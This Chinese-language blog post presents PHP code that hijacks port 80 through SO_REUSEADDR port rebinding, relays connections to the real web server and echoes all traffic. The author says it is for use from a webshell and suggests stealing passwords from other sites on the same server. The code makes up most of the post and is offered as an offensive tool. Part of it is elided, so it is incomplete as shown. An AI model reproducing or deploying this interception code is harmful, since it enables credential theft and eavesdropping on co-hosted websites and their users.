前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。
需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于为什么不一样,我就不说了。
代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。
PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:
<?php
class select
{
var $sockets;
// 构造函数
function select($sockets)
{
$this->sockets = array();
foreach($sockets as $socket)
{
$this->add($socket);
}
}
function add($add_socket)
{
//array_push($this->sockets, $add_socket);
$this->sockets[] = $add_socket;
}
// 利用临时数组来删除数组中的元素
function remove($remove_socket)
{
$tmp_sockets = array();
foreach($this->sockets as $socket)
{
if($remove_socket != $socket)
{
$tmp_sockets[] = $socket;
}
}
$this->sockets = $tmp_sockets;
}
// 检查socket数组是否可读,传入超时时间,返回socket数组
function can_read($timeout)
{
$read = $this->sockets;
socket_select( $read, $write = NULL, $except = NULL, $timeout );
return $read;
}
// 检查socket数组是否可写,传入超时时间,返回socket数组
function can_write($timeout)
{
$write = $this->sockets;
socket_select( $read = NULL, $write, $except = NULL, $timeout );
return $write;
}
}
// 网页不超时
set_time_limit(0);
// 即时输出数据,不缓冲
ob_end_clean();
ob_implicit_flush(true);
if( !isset($_GET["listen_ip"]) )
{
exit;
}
if( $_GET["listen_ip"] == "" )
{
exit;
}
$listen_ip = $_GET["listen_ip"];
$listen_port = 80;
// 建立socket
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 设置重复绑定
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
// 明确指定绑定IP地址,优先获取数据
socket_bind($listen_sock, $listen_ip, $listen_port);
// 开始监听
socket_listen ($listen_sock);
echo "listen on ".htmlentities($listen_ip)." :".$listen_port."<br />";
// 创建socket数组,使用select来轮询
$check_socks = array($listen_sock);
// 映射客户端socket和服务端socket
// $socket_maps1将客户端socket作为key
// $socket_maps2将服务端socket作为key
// 以内存换速度,并且方便下面的搜索
$socket_maps1 = array( );
$socket_maps2 = array( );
....................................................................
while(true)
{
/*
print_r( $socket_maps );
print "<br />";
*/
// select轮询,超时2秒
foreach ($select->can_read(1) as $socket)
{
// listen_sock可读,说明有人连接上来了
if( $socket == $listen_sock )
{
// 接受新连接,并加入到轮训数组
$new_client = socket_accept($listen_sock);
$select->add($new_client);
socket_getpeername($new_client, $ip, $port);
echo "New client connected: $ip, $port<br />";
// 建立到真实服务器的socket
$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($server_sock,"127.0.0.1", $listen_port);
// 建立真实服务器socket和真实客户端socket之间的映射关系
$socket_maps1[$new_client] = $server_sock;
$socket_maps2[$server_sock] = $new_client;
// 添加到select轮询中
$select->add($server_sock);
// $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发
//select->remove( $listen_sock );
}
// 其他socket可读,表示有数据需要中转
else
{
// 读取数据,失败则从轮询socket中删除,并关闭socket
$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
if ($client_data === false)
{
socket_close( $socket );
$select->remove( $socket );
echo "client disconnected.<br />";
continue;
}
// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据
if( in_array( $socket, array_keys($socket_maps1)) )
{
//echo "readed from client.<br />";
if( ! socket_write( $socket_maps1[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps1[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps1[$socket] );
print "Write to server error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
// 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据
elseif( in_array( $socket, array_keys($socket_maps2) ) )
{
//echo "readed from server.<br />";
if( ! socket_write( $socket_maps2[$socket], $client_data ) )
{
socket_close( $socket );
socket_close( $socket_maps2[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps2[$socket] );
print "Write to client error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
}
}
}
?>
这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。